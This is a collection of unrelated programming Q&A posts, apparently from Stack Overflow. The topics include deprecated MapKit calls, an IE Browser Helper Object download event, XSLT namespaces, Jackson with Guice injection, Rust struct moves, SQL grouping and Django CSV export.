25467769	0	CGRect rect = [self rectForMapRect:mapRect]; depraceted <p>I have this code here:</p> <pre><code>CGRect rect = [self rectForMapRect:mapRect]; </code></pre> <p>This gives me a deprecated warning. In order to keep things clean, I wanna make it with actual code, but I don't know how. Could anyone tell me how?</p> <p>Here is the whole bunch of code:</p> <pre><code>- (void)fillMapRect:(MKMapRect)mapRect context:(CGContextRef)context { CGMutablePathRef path = CGPathCreateMutable(); CGRect rect = [self rectForMapRect:mapRect]; CGPathMoveToPoint(path, nil, rect.origin.x, rect.origin.y); CGPathAddLineToPoint(path, nil, rect.origin.x + rect.size.width, rect.origin.y); CGPathAddLineToPoint(path, nil, rect.origin.x + rect.size.width, rect.origin.y + rect.size.height); CGPathAddLineToPoint(path, nil, rect.origin.x, rect.origin.y + rect.size.height); CGPathCloseSubpath(path); CGContextAddPath(context, path); UIColor *overlayColor = [UIColor colorWithWhite:0.0 alpha:0.2]; CGContextSetFillColorWithColor(context, overlayColor.CGColor); CGContextDrawPath(context, kCGPathFillStroke); CGPathRelease(path); </code></pre>
29465163	0	 <p>You'd want to post the data you've received over to a php script via an ajax call. </p> <p>Here's just an example, but you should be able to work with it from there:</p> <pre><code>$(document).ready(function(){ $("#submit").click(function(){ var name = $("#name").val(); var email = $("#email").val(); var password = $("#password").val(); var contact = $("#contact").val(); // Returns successful data submission message when the entered information is stored in database. var dataString = 'name1='+ name + '&amp;email1='+ email + '&amp;password1='+ password + '&amp;contact1='+ contact; if(name==''||email==''||password==''||contact=='') { alert("Please Fill All Fields"); } else { // AJAX Code To Submit Form. $.ajax({ type: "POST", url: "ajaxsubmit.php", data: dataString, cache: false, success: function(result){ alert(result); } }); } return false; }); }); </code></pre>
966224	0	 <p>If you're the vendor supporting a web application which your customer insists upon using with IE6 rather than an updated browser, I'd say try to offer them upgrade incentives (e.g. lower support contract fees, a one-time renewal discount, or some "enhanced" feature set which would magically be enabled once they upgrade their lowest common denominator browser-wise).</p> <p>I'd agree with some of the previous sentiments mentioned about warning banners, they'd be annoying and useless.</p> <p>If the company is so big and/or bureaucratic that they are a hard sell in terms of upgrading, it might take years for them to get "current". A hospital I once worked for was just finishing an upgrade to Windows NT 4 while XP had already been out a year.</p> <p>Personally, if I had any influence over such a situation I would enclose with my annual invoice a very obvious raise in my support or dev fees substantially every year IE6 remains in use at the customer's site, while at the same time presenting them the attractively lower-priced option of upgrading their browser right alongside.</p>
5866921	0	 <blockquote> <p>I am led understand that when the function ends the pointer is lost, but will the array still be sent?</p> </blockquote> <p>The behavior is undefined. </p> <blockquote> <p>what is a good way to return this integer array with no arguments in the function call?</p> </blockquote> <pre><code>int nums[8]; </code></pre> <p><code>num</code> is local variable which resides on stack. You cannot return the reference of a local variable. Instead alloc <code>nums</code> with operator <code>new</code> and remember to <code>delete[]</code> it.</p> <pre><code>int* getNums() { int *nums = new int[8] ; // ..... return nums ; } // You should deallocate the resources nums acquired through delete[] later, // else memory leak prevails. </code></pre>
38111375	0	Why HTML link did not look like a bootstrap Cancel button <p>I needed a HTML link but need it to look like a bootstrap cancel button. So I wrote this:</p> <pre><code>@Html.ActionLink("Cancel", "Login", new {@class = "btn btn-secondary"}) </code></pre> <p>but did not work! It does NOT look like a button at all. It is just a link. How should I fix this?</p>
26279698	0	 <p>With this code</p> <pre><code>window.onscroll = function (event) { var amount = window.pageYOffset + "px"; document.getElementById("cover").style.left = amount; } </code></pre> <p>You can achieve it.</p> <p>Working Fiddle: <a href="http://jsfiddle.net/sLse3fez/" rel="nofollow">Fiddle</a></p>
39845227	0	 <p>Try this</p> <pre><code>var gus = '{{userrole}}'; </code></pre>
25348649	0	IE BHO - DISPID_FILEDOWNLOAD being called for page loads? <p>I am implementing an Internet Explorer Browser Helper Object that should catch the <strong>DISPID_FILEDOWNLOAD</strong> event.</p> <p>I first implemented this in C# which worked great except that I also need the cookies that go with the URL so need to call InternetGetCookiesEx. As .NET runs in it's own process it does not return me the session cookies so is no good.</p> <p>I then wrote a quick test DLL in C++ so that it is loaded into the same process as IE which works great for the cookies but I now have a new problem:</p> <p>I am getting calls to <strong>DISPID_FILEDOWNLOAD</strong> in my Invoke function for each page load when I only want them for an actual download.</p> <p>In the C# version I only got a call to WebBrowser.FileDownload for an actual download but it seems that the C++ version is sending a DISPID_FILEDOWNLOAD even for each page load.</p> <pre><code>STDMETHODIMP CIEHlprObj::Invoke( DISPID dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pvarResult, EXCEPINFO* pExcepInfo, UINT* puArgErr ) { USES_CONVERSION; if (!pDispParams) return E_INVALIDARG; LPOLESTR lpURL = NULL; m_spWebBrowser2-&gt;get_LocationURL(&amp;lpURL); int i = 0; switch (dispidMember) { case DISPID_BEFORENAVIGATE2: case DISPID_BEFORENAVIGATE: sCurrentFile=NULL; if (pDispParams-&gt;cArgs &gt;= 5 &amp;&amp; pDispParams-&gt;rgvarg[5].vt == (VT_BYREF | VT_VARIANT)) { CComVariant varURL(*pDispParams-&gt;rgvarg[5].pvarVal); varURL.ChangeType(VT_BSTR); char* myStr = OLE2T(varURL.bstrVal); if (myStr) { sCurrentFile = AllocateString(myStr); sCurrentFileW = varURL.bstrVal; } } break; case DISPID_FILEDOWNLOAD: // CALLED FOR EACH PAGE LOAD! if(sCurrentFile) { TCHAR cookies[8192]; DWORD size = 8192; BOOL ret = InternetGetCookieEx(sCurrentFile, 0, cookies, &amp;size, INTERNET_COOKIE_HTTPONLY, 0); ::MessageBox(0, sCurrentFile, "Downloading called multiple times!!", MB_OK); } break; default: break; } return S_OK; } </code></pre> <p><strong>Is there some filter that needs checking somewhere to know if a DISPID_FILEDOWNLOAD event relates to a file load or an actual file download?</strong></p> <p>Many thanks</p> <p><strong>UPDATE:</strong></p> <p>On closer inspection it seems that the C# managed code version is actually doing the same, I just didn't notice it the firs time around.</p> <p>It seems that the FileDownload event is being called in the following circumstances:</p> <ol> <li>New window / tab opened</li> <li>New domain connected to (maybe a new keep-alive connection?)</li> <li>An actual download</li> </ol> <p>Obviously I only want the even on the actual download event.</p>
908639	0	 <p>Personally, I'd combine method two and three: Just create a generic XML document using reflection, say:</p> <pre><code>&lt;object type="xxxx"&gt; &lt;property name="ttt" value="vvv"/&gt; ... &lt;/object&gt; </code></pre> <p>and use an XSTL stylesheet to create the actual HTML from this.</p>
20228583	0	Symfony2 form type entity: Option is not selected <p>I use a Symfony2 (2.3) entity form type to load the options of a HTML select from a Doctrine entity:</p> <p>Class RoomFacilityType:</p> <pre><code>public function buildForm(FormBuilderInterface $builder, array $options) { $builder-&gt;add('title', 'text', array('label' =&gt; 'Bezeichnung', 'required' =&gt; false)) -&gt;add('save', 'submit', array('label' =&gt; 'Speichern')); // add referenced object facility type $builder-&gt;add('facilityType', new FacilityTypeType()); } </code></pre> <p>Class FacilityTypeType:</p> <pre><code>public function buildForm(FormBuilderInterface $builder, array $options) { $builder-&gt;add('type', 'entity', array('label' =&gt; 'Ausstattung', 'class' =&gt; 'xyz\abcBundle\Entity\FacilityType', 'property' =&gt; 'type')); } </code></pre> <p>In the controller I create a form with a RoomFacility entity:</p> <pre><code>$formRoomFacility = $this-&gt;createForm(new RoomFacilityType(), $roomFacility); </code></pre> <p>The RoomFacility entity has a ManToOne relation to entity FacilityType.</p> <p>When the form is rendered by a twig template, no option of the HTML select is selected (but when I use a text form type instead, the correct value ist displayed):</p> <pre><code>{{ form_widget(formRoomFacility.facilityType.type) }} </code></pre> <p>I have found questions about how to set an option selected by setting it's value explicitly, but that doesn't solve my problem either:</p> <pre><code>$formRoomFacility-&gt;get('facilityType')-&gt;setData($roomFacility-&gt;getFacilityType()); </code></pre> <p>Any suggestions?</p> <p>Thanks in advance</p> <p>Alex</p>
29442452	0	parse cloud code job : delete rows that have been in DB for an hour <p>I'm using parse as a mobile backend for an ios app I'm developing. I know its probably not a permanent solution but for what I'm doing right now it gives me good test results. I need to create a cloud code job which will remove all the rows with entries older than one hour in all of my databases besides one (this DB is just for the sake of having a backup of everything).I want to do this so client side devices can only query for things in the DB that are less than an hour old. I have a "timestamp" on each entry which I was going to incorporate into a js function to first check If all the entries were indeed an hour or more old, and if they were, delete them. I've been doing some research and really havent been able to develop a js function that would do this (I have absolutely no js experience whatSoEver just obj c) from my understanding it would be something similar to this </p> <pre><code> Parse.Cloud.job("deleteRows", function(request, status) { Parse.Cloud.useMasterKey(); var query = new Parse.Query(//inverse of db i dont want to delete from); query.each(function(//row in db?) { // delete here under parameters ? }).then(function() { status.success("rows deleted"); }, function(error) { status.error("job incomplete"); }); }); </code></pre> <p>if anyone could give me a hand I'd really appreciate it. Thanks.</p>
18272796	0	xslt not showing results. xpath or ns wrong? <p>i have the following xml and xslt to render it, but got no results. I checked again and again and see not path problem, and the xsl went through the compiler. so I am not sure if it's namespace problem or something else. many thx! </p> <p>XML file</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;bibdataset xsi:schemaLocation="http://www.elsevier.com/xml/ani/ani http://www.elsevier.com/xml/ani/embase_com.xsd" xmlns="http://www.elsevier.com/xml/ani/ani" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ce="http://www.elsevier.com/xml/ani/common" xmlns:ait="http://www.elsevier.com/xml/ani/ait"&gt; &lt;item&gt; &lt;bibrecord&gt; &lt;item-info&gt; &lt;itemidlist&gt;&lt;ce:doi&gt;10.1258/0268355042555000&lt;/ce:doi&gt; &lt;/itemidlist&gt; &lt;/item-info&gt; &lt;head&gt; &lt;citation-title&gt; &lt;titletext xml:lang="en" original="y"&gt;Effect of seasonal variations on the emergence of deep venous thrombosis of the lower extremity &lt;/titletext&gt; &lt;/citation-title&gt; &lt;abstracts&gt; &lt;abstract xml:lang="en" original="y"&gt; &lt;ce:para&gt;Objective: We aimed to determine the role of seasonal and meteorological variations in the incidence of lower extremity &lt;/ce:para&gt; &lt;/abstract&gt; &lt;/abstracts&gt; &lt;/head&gt; &lt;/bibrecord&gt; &lt;/item&gt; &lt;/bibdataset&gt; </code></pre> <p>XSLT file</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.elsevier.com/xml/ani/ani" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ce="http://www.elsevier.com/xml/ani/common" xmlns:ait="http://www.elsevier.com/xml/ani/ait"&gt; &lt;xsl:output indent="yes" omit-xml-declaration="no" media-type="application/xml" encoding="UTF-8" /&gt; &lt;xsl:template match="/"&gt; &lt;searchresult&gt; &lt;xsl:apply-templates select="/bibdataset/item/bibrecord" /&gt; &lt;/searchresult&gt; &lt;/xsl:template&gt; &lt;xsl:template match="bibrecord"&gt; &lt;document&gt; &lt;title&gt;&lt;xsl:value-of select="head/citation-title/titletext" /&gt;&lt;/title&gt; &lt;snippet&gt; &lt;xsl:value-of select="head/abstracts/abstract/ce:para" /&gt; &lt;/snippet&gt; &lt;url&gt; &lt;xsl:variable name="doilink" select="item-info/itemidlist/ce:doi"/&gt; &lt;xsl:value-of select="concat('http://dx.doi.org/', $doilink)" /&gt; &lt;/url&gt; &lt;/document&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre>
11283433	0	 <p>They reduce reusability in much the same way that global variables do: when you method's computations depend on state which is external to the method, but not passed as parameters (i.e. class fields for example), your method is less reusable, because it's tightly coupled to the state of the object/class in which it resides (or worse, on a different class entirely).</p> <p><strong>Edit</strong>: Ok, here's an example to make it more clear. I've used <code>ThreadLocal</code> just for the sake of the question, but it applies to global variables in general. Assume I want to calculate the sum of the first N integers in parallel on several threads. We know that the best way to do it is to calculate local sums for each thread and them sum them up at the end. For some reason we decide that the <code>call</code> method of each <code>Task</code> will use a <code>ThreadLocal sum</code> variable which is defined in a different class as a global (static) variable:</p> <pre><code>class Foo { public static ThreadLocal&lt;Long&gt; localSum = new ThreadLocal&lt;Long&gt;() { public Long initialValue() { return new Long(0); } }; } class Task implements Callable&lt;Long&gt; { private int start = 0; private int end = 0; public Task(int start, int end) { this.start = start; this.end = end; } public Long call() { for(int i = start; i &lt; end; i++) { Foo.localSum.set(Foo.localSum.get() + i); } return Foo.localSum.get(); } } </code></pre> <p>The code works correctly and gives us the expected value of the global sum, but we notice that the class <code>Task</code> and its <code>call</code> method are now strictly coupled to the <code>Foo</code> class. If I want to reuse the <code>Task</code> class in another project, I must also move the <code>Foo</code> class otherwise the code will not compile.</p> <p>Although this is a simple example complicated on purpose, you can see the perils of "hidden" global variables. It also affects readability, since someone else reading the code will have to also search for the class <code>Foo</code> and see what the definition of <code>Foo.localSum</code> is. You should keep your classes as self-contained as possible.</p>
30040853	0	Swift - Getting address from coordinates <p>I have a local search that creates annotations for each search result. I'm trying to add an call out accessory to each of the annotations, and once that will be pressed, the Maps app will open and set directions on how to get to the certain location.</p> <p>The problem that I am having is that in order for the call out accessory to work correctly, you have to get the address using place marks in the Address Book import. I've done plenty of searching and can't figure out how to set it up correctly where I can covert the annotation coordinates into a <code>kABPersonAddressStreetKey</code> so the Maps app can read it correctly. Below is my code for the search function, and the open Maps app function.</p> <pre><code>func performSearch() -&gt; MKMapItem { matchingItems.removeAll() let request = MKLocalSearchRequest() request.naturalLanguageQuery = searchText.text request.region = mapView.region let search = MKLocalSearch(request: request) search.startWithCompletionHandler({(response: MKLocalSearchResponse!, error: NSError!) in if error != nil { println("Error occured in search: \(error.localizedDescription)") } else if response.mapItems.count == 0 { println("No matches found") } else { println("Matches found") for item in response.mapItems as! [MKMapItem] { println("Name = \(item.name)") println("Phone = \(item.phoneNumber)") self.matchingItems.append(item as MKMapItem) println("Matching items = \(self.matchingItems.count)") var annotation = MKPointAnnotation() var coordinates = annotation.coordinate var location = CLLocation(latitude: annotation.coordinate.latitude, longitude: annotation.coordinate.longitude) var street = // Insert code here for getting address from coordinates var addressDictionary = [String(kABPersonAddressStreetKey): street] var placemark = MKPlacemark(coordinate: coordinates, addressDictionary: addressDictionary) var mapItem = MKMapItem(placemark: placemark) return mapItem annotation.coordinate = item.placemark.coordinate annotation.title = item.name self.mapView.addAnnotation(annotation) } } }) } func mapView(mapView: MKMapView!, annotationView view: MKAnnotationView!, calloutAccessoryControlTapped control: UIControl!) { let location = view.annotation as! FirstViewController let launchOptions = [MKLaunchOptionsDirectionsModeKey: MKLaunchOptionsDirectionsModeDriving] location.performSearch().openInMapsWithLaunchOptions(launchOptions) } </code></pre> <p>Any help would be greatly appreciated, thanks in advance.</p>
27818147	0	 <p>Try this, it's working for me.</p> <pre><code>UPDATE Team SET GroupID = CAST(RAND(CHECKSUM(NEWID()))*10000000 AS INT) WHERE GroupID IN (SELECT GroupID FROM Team GROUP BY GroupID HAVING COUNT(GroupID)&lt;4) </code></pre> <p>This code ensures random values are assigned for all GroupId's in Team table AND no GroupID would have an occurrence of more than 4 </p>
12692498	0	Can focused Google Maps markers be styled? <p>I have this <a href="http://fiddle.jshell.net/NXhP4/" rel="nofollow">form where you can enter a location</a>, which (if Google can find it) is shown as a marker on a map. Basically I have a Google map with a marker embedded in a form; the map is surrounded with input fields.</p> <p>When you tab trough the form fields, at a certain point elements within the map are focused. One of the focusable elements is the <code>area</code> in the <code>map</code> used on the marker image. On Chrome 22 and Firefox 15 I can't see any default focus styling for areas. That annoyed me, so I tried to add some styling. Even without <code>:focus</code> this is <strong>not</strong> working:</p> <pre><code>area { outline: 2px solid red; } </code></pre> <p>Is there a way to style focused Google maps markers?</p> <hr> <p><strong>Edit</strong>: Since styling areas does not work I tried to see if I could bind a focus event listener to the areas. There is no focus event available for <a href="https://developers.google.com/maps/documentation/javascript/reference#Marker" rel="nofollow">markers</a> in the Google Api. So, that's a dead end.</p> <p>When you try to add a listener on areas (without using the Google Api), you will run into the problem that markers aren't placed synchronically and that there is no callback available in the Google Api.</p> <p>You could setup a <a href="https://developer.mozilla.org/en-US/docs/DOM/window.setInterval" rel="nofollow"><code>setInterval</code></a> to add focus listeners to new areas, but I don't like that solution a lot.</p> <p>Does anyone have any other ideas?</p>
32192341	0	g++ undefined reference to `main' <p>I have a gcc 5.2.0 configured as follows :</p> <pre><code>Using built-in specs. COLLECT_GCC=gcc-5.2.0 COLLECT_LTO_WRAPPER=/usr/local/lvm/gcc-5.2.0/libexec/gcc/x86_64-unknown-linux-gnu/5.2.0/lto-wrapper Target: x86_64-unknown-linux-gnu Configured with: ../configure --prefix=/usr/local/lvm/gcc-5.2.0 --enable-checking=release --with-gmp=/usr/local/lvm/gmp-6.0.0 --with-mpfr=/usr/local/lvm/mpfr-3.1.2 --with-mpc=/usr/local/lvm/mpc-1.0.3 --enable-languages=c,c++,fortran,objc,obj-c++ --with-isl=/usr/local/lvm/isl-0.14 --with-cloog=/usr/local/lvm/cloog-0.18.4 --program-suffix=-5.2.0 Thread model: posix gcc version 5.2.0 (GCC) </code></pre> <p>and g++ :</p> <pre><code>Using built-in specs. COLLECT_GCC=g++-5.2.0 COLLECT_LTO_WRAPPER=/usr/local/lvm/gcc-5.2.0/libexec/gcc/x86_64-unknown-linux-gnu/5.2.0/lto-wrapper Target: x86_64-unknown-linux-gnu Configured with: ../configure --prefix=/usr/local/lvm/gcc-5.2.0 --enable-checking=release --with-gmp=/usr/local/lvm/gmp-6.0.0 --with-mpfr=/usr/local/lvm/mpfr-3.1.2 --with-mpc=/usr/local/lvm/mpc-1.0.3 --enable-languages=c,c++,fortran,objc,obj-c++ --with-isl=/usr/local/lvm/isl-0.14 --with-cloog=/usr/local/lvm/cloog-0.18.4 --program-suffix=-5.2.0 Thread model: posix gcc version 5.2.0 (GCC) </code></pre> <p>I have the following simple c++ code in tmp2.cpp file :</p> <pre><code>extern "C" { double mysum(double x, double y) { return x+y; } } </code></pre> <p>that I am trying to compile into a dynamic library (.so) as follows :</p> <pre><code>export LD_LIBRARY_PATH=/usr/local/lvm/gmp-6.0.0:/usr/local/lvm/mpfr-3.1.2:/usr/local/lvm/mpc-1.0.3:/usr/local/lvm/cloog-0.18.4:/usr/local/lvm/isl-0.14/lib:/usr/local/lvm/gcc-5.2.0/lib64 export PATH=/usr/local/lvm/gcc-5.2.0/bin/:$PATH g++-5.2.0 -m32 -Wall -g -c ./tmp2.cpp g++-5.2.0 -m32 -dynamiclib ./tmp2.o -o ./tmp2.so </code></pre> <p>and the last command gives me the following error :</p> <pre><code>/usr/lib/../lib32/crt1.o: In function `_start': (.text+0x18): undefined reference to `main' collect2: error: ld returned 1 exit status </code></pre> <p>The detail output thx to <code>-v</code> can be found in a gist <a href="https://gist.github.com/MisesEnForce/097c8a9e37ebdc61a041" rel="nofollow">here</a>.</p> <p>I am quite new to gcc/g++ and don't really get what is going on. What's happened ?</p>
8198576	0	cookie produced based on select list <p>Ok so I have this jsFiddle I have worked on to produce a slide down effect on a div based on the select. I need to produce a cookie when the selection is made so when the page is reloaded, the div remains open. Not sure how to produce this effect in the code. Any help is really appreciated!</p> <p>Heres the link for a working example : <a href="http://jsfiddle.net/J9uuL/1/" rel="nofollow">http://jsfiddle.net/J9uuL/1/</a></p>
38760027	0	 <p>Something obvious found ;-) </p> <p>Don't import from </p> <pre><code>import { ROUTER_PROVIDERS } from '@angular/router-deprecated'; </code></pre> <p>use instead</p> <pre><code>import { ROUTER_PROVIDERS } from '@angular/router'; </code></pre> <p>You might also need to fix your systemjs config.</p>
12905929	0	 <blockquote> <p><em>Python should have permission to read and write files in its installation folder</em></p> </blockquote> <p>That's not actually true. Permissions are resolved on Windows not by the program that is running, but the <em>user account</em> which is doing the action. So the answer is that <em>your user account</em> does not have access to write to the Python installation folder.</p> <p>In general, to install system-wide software (which you're trying to do), you would need to run your commands under a local administrator account. However, a better option might be to find a way to install your program somewhere else (for testing purposes).</p>
15550431	0	 <p>There are many ways to solve it, one is by using a subquery which separately gets the one record for every district. Since you haven't mentioned your RDBMS that you are using, this will work on almost all RDBMS.</p> <pre><code>SELECT a.* FROM tableName a INNER JOIN ( SELECT district, MAX(longitude) max_val FROM tableName GROUP BY district ) b ON a.district = b.district AND a.longitude = max_val </code></pre> <ul> <li><a href="http://www.sqlfiddle.com/#!2/ee2f4/1" rel="nofollow">SQLFiddle Demo</a></li> </ul> <p>OUTPUT</p> <pre><code>╔════════════╦══════════╦═══════════╦══════════╗ ║ RESTAURANT ║ DISTRICT ║ LONGITUDE ║ LATITUDE ║ ╠════════════╬══════════╬═══════════╬══════════╣ ║ perseus ║ 1 ║ 80.879 ║ -56.00 ║ ║ artica ║ 2 ║ 67.708 ║ -69.89 ║ ║ petera ║ 3 ║ 89.00 ║ -78.89 ║ ╚════════════╩══════════╩═══════════╩══════════╝ </code></pre> <p><strong>UPDATE 1</strong></p> <pre><code>WITH recordList AS ( SELECT restaurant, district, longitude, latitude, ROW_NUMBER() OVER (PARTITION BY district ORDER BY longitude DESC) rn FROM TableName ) SELECT restaurant, district, longitude, latitude FROM recordList WHERE rn = 1 </code></pre> <ul> <li><a href="http://www.sqlfiddle.com/#!3/80588/1" rel="nofollow">SQLFiddle Demo</a></li> </ul>
2470465	0	How can I get the high-res mtime for a symbolic link in Perl? <p>I want to reproduce the output of <code>ls --full-time</code> from a Perl script to avoid the overhead of calling <code>ls</code> several thousand times. I was hoping to use the <a href="http://perldoc.perl.org/functions/stat.html" rel="nofollow noreferrer">stat</a> function and grab all the information from there. However, the timestamp in the ls output uses the high-resolution clock so it includes the number of nanoseconds as well (according to the GNU docs, this is because --full-time is equivalent to <code>--format=long --time-style=full-iso</code>, and the full-iso time style includes the nanoseconds).</p> <p>I came across the <a href="http://perldoc.perl.org/Time/HiRes.html" rel="nofollow noreferrer">Time::HiRes</a> module, which overrides the standard stat function with one that returns atime/mtime/ctime as floating point numbers, but there's no override for <a href="http://perldoc.perl.org/functions/lstat.html" rel="nofollow noreferrer">lstat</a>. This is a problem, because calling stat on a symlink returns info for the linked file, not for the link itself.</p> <p>So my question is this - where can I find a version of lstat that returns atime/mtime/ctime in the same way as Time::HiRes::stat? Failing that, is there another way to get the modtime for a symlink in high resolution (other than calling ls).</p>
4316876	0	 <p>I think that you should compare every character (A) of every name against the corresponding character (B) of all the other names, then, eventually, swap the two names if B and all characters preceding it are smaller than A and characters before. Right now that's my only idea but I can't translate it in code, I should think about it still some time...</p> <p>I tried to explain it as best as I could, anyway I'm sorry if it's a mess.. =)</p>
30656197	0	How to get Jackson to use a Google Guice Injector to create instances? <p>We use Google Guice for DI (mostly with constructor injection) and Jackson for object serialization to/from JSON. As such we build our object graph through Guice Modules.</p> <p>How do we provide/instruct Jackson to use our pre-built Guice Injector? Or it's own injector based on a Guice Module we provide? My preference is to provide it the injector because we already have means to control which module is used based on the environment/configuration we want to run in.</p> <p>Here's a unit test:</p> <pre><code>public class Building { @JsonIgnore public final ElectricalProvider electricalProvider; public String name; @Inject Building(ElectricalProvider electricalProvider){ this.electricalProvider = electricalProvider; } public String getName() { return name; } public void setName(String name) { this.name = name; } } public interface ElectricalProvider {} public class SolarElectricalProvider implements ElectricalProvider{} @Test public void testJacksonGuice() throws IOException { Injector injector = Guice.createInjector(new Module() { @Override public void configure(Binder binder) { binder.bind(ElectricalProvider.class).to(SolarElectricalProvider.class); } }); Building building1 = injector.getInstance(Building.class); building1.setName("test building"); ObjectMapper objectMapper = new ObjectMapper(); byte[] buildingJsonBytes = objectMapper.writeValueAsBytes(building1); Building building2 = objectMapper.readValue(buildingJsonBytes, Building.class); assertThat(building1, is(equalTo(building2))); assertThat(building2.electricalProvider, is(instanceOf(SolarElectricalProvider.class))); } </code></pre> <p>That when run generates this exception <code>com.fasterxml.jackson.databind.JsonMappingException</code>, with this message: No suitable constructor found for type [simple type, class Building]: can not instantiate from JSON object (missing default constructor or creator, or perhaps need to add/enable type information?)</p> <p>After a bit of googling, I came across the <a href="https://github.com/FasterXML/jackson-module-guice" rel="nofollow">jackson-module-guice</a> project but it doesn't appear to be what we need or doesn't provide as to how to accomplish what we need to do.</p>
485686	0	 <p>I don't know any <strong>Django module</strong> which would offer what you want (at least wiki i.e. editable text with some lightweight markip language, coupled with version control system), but you can take a look at <a href="http://git.or.cz/gitwiki/InterfacesFrontendsAndTools" rel="nofollow noreferrer">InterfacesFrontendsAndTools</a> page at Git Wiki, section "Wikis, blogs, etc.". Among others you can find there:</p> <ul> <li><a href="http://blitiri.com.ar/git/?p=wikiri" rel="nofollow noreferrer" title="gitweb">wikiri</a>: simple, single-file wiki written in Python, with optional git support for history tracking</li> <li><strong><a href="https://www.ohloh.net/p/chuyen" rel="nofollow noreferrer" title="Ohloh">Chuyen</a></strong>: a weblog software written in Python, using the Django web framework and Git as its data storage backend through PyGit</li> <li><a href="http://blog.codezen.org/entries/tag/pystl" rel="nofollow noreferrer">Pystl</a>: very simple, small blog engine in Python, using Git for version control.</li> </ul>
39674698	0	 <p>This is reason :</p> <p>Grails is a mix of many frameworks, spring, hibernate etc. All the frameworks are included and you need them as they are the baseline of grails every grails application comes with many plugins by default (look into your BuildConfig.groovy): cache, asset, scaffolding etc. Every plugin has their own dependencies like classes, jars, js etc All of them add up.</p> <p>Solution: a war and also a jar are just containers. Open them with your favorite unzip program and check.</p> <p>You can remove that by using following command</p> <pre><code>grails war -nojars </code></pre> <p>Note: It will build a war without WEB-INF/lib jars. But you have to provide them to your webserver before deployment. </p> <p>reference: <a href="http://mrhaki.blogspot.in/2009/05/create-much-smaller-grails-war-file.html" rel="nofollow">http://mrhaki.blogspot.in/2009/05/create-much-smaller-grails-war-file.html</a></p> <p>OR</p> <p>If you want remove the perticular jar files then you can use below config </p> <p>Add to your BuildConfig.groovy:</p> <pre><code>grails.war.resources = { stagingDir -&gt; delete(file:"${stagingDir}/WEB-INF/lib/whatever.jar") } </code></pre>
35679688	0	 <p>There is also the DOM way of doing this in JavaScript:</p> <pre><code>// Create a div and set class var new_row = document.createElement("div"); new_row.setAttribute("class", "aClassName" ); // Add some text new_row.appendChild( document.createTextNode("Some text") ); // Add it to the document body document.body.appendChild( new_row ); </code></pre>
32228917	0	Get an array of integer with Laravel query builder <p>I have this query :</p> <pre><code>$inError = DB::table('errors') -&gt;select('fk_fact') -&gt;distinct() -&gt;get(); </code></pre> <p>And I want it to return an array of integers instead of returning an array of objects, I don't want to loop over all the results and push the values one by one... Is there a way to do this with Laravel? </p>
31391581	0	How to bind multiple struct fields without getting "use moved value" error? <p>I'm trying to code a generic list as an exercise - I know it's already supported by the syntax, I'm just trying to see if I can code a recursive data structure. As it turns out, I can't. I'm hitting a wall when I want to access more than one field of an owned struct value.</p> <p>What I'm doing is basically this - I define a struct that will hold a list:</p> <pre class="lang-rust prettyprint-override"><code>struct ListNode&lt;T&gt; { val: T, tail: List&lt;T&gt; } struct List&lt;T&gt;(Option&lt;Box&lt;ListNode&lt;T&gt;&gt;&gt;); </code></pre> <p>Empty list is just represented by <code>List(None)</code>.</p> <p>Now, I want to be able to append to a list:</p> <pre><code>impl&lt;T&gt; List&lt;T&gt; { fn append(self, val: T) -&gt; List&lt;T&gt; { match self { List(None) =&gt; List(Some(Box::new(ListNode { val: val, tail: List(None) }))), List(Some(node)) =&gt; List(Some(Box::new(ListNode { val: node.val, tail: node.tail.append(val) }))) } } } </code></pre> <p>Ok, so that fails with an error "used of moved value: node" at node.tail with an explanation that it was moved at "node.val". This is understandable.</p> <p>So, I look for ways to use more than one field of a struct and I find this: <a href="https://mail.mozilla.org/pipermail/rust-dev/2014-January/008216.html">Avoiding partially moved values error when consuming a struct with multiple fields</a></p> <p>Great, so I'll do that:</p> <pre><code>List(Some(node)) =&gt; { let ListNode { val: nval, tail: ntail } = *node; List(Some(Box::new(ListNode { val: nval, tail: ntail.append(val) }))) } </code></pre> <p>Well, nope, still node is being moved at assignment ("error: use of moved value 'node'" at "tail: ntail"). Apparently this doesn't work like in the link anymore.</p> <p>I've also tried using refs:</p> <pre><code>List(Some(node)) =&gt; { let ListNode { val: ref nval, tail: ref ntail } = *node; List(Some(Box::new(ListNode { val: *nval, tail: (*ntail).append(val) }))) } </code></pre> <p>This time the deconstruction passes, but the creation of the new node fails with "error: cannot move out of borrowed content".</p> <p>Am I missing something obvious here? If not, what is the proper way to access multiple fields of a struct that is not passed by reference?</p> <p>Thanks in advance for any help!</p> <p>EDIT: Oh, I should probably add that I'm using Rust 1.1 stable.</p>
14874797	0	Regex to remove footer text with line breaks <p>I am hoping this is quite simple... I am trying to remove a footer from a block of text using a regular expression, this includes the two initial line breaks which is where my problem lies.</p> <pre><code> Message body blah blah balh {Line Break} {Line Break} ---------------------------------- Custom footer text </code></pre> <p>I have been experimenting with variations of <code>/\?(\r\n)(\r\n)([-{34}])/.*</code> but nothing is working.</p>
39884212	0	 <p>Basic pseudocode to generate and return csv:</p> <pre><code>import csv from django.http import HttpResponse def csv(self): response = HttpResponse(content_type='text/csv') filename = u"fizzer.csv" response['Content-Disposition'] = u'attachment; filename="{0}"'.format(filename) writer = csv.writer( response, delimiter=';', quotechar='"', quoting=csv.QUOTE_ALL ) for f in Fizzer.objects.all(): writer.writerow([f.foo, f.bar]) return response </code></pre> <p>Keynotes:</p> <ul> <li><p>You have to create <code>HttpResponse</code> object with <code>text/csv</code> content type</p></li> <li><p>generate your .csv with Python's <code>csv</code> module</p></li> <li><p>convert queryset to csv values</p></li> <li><p>return response</p></li> </ul>
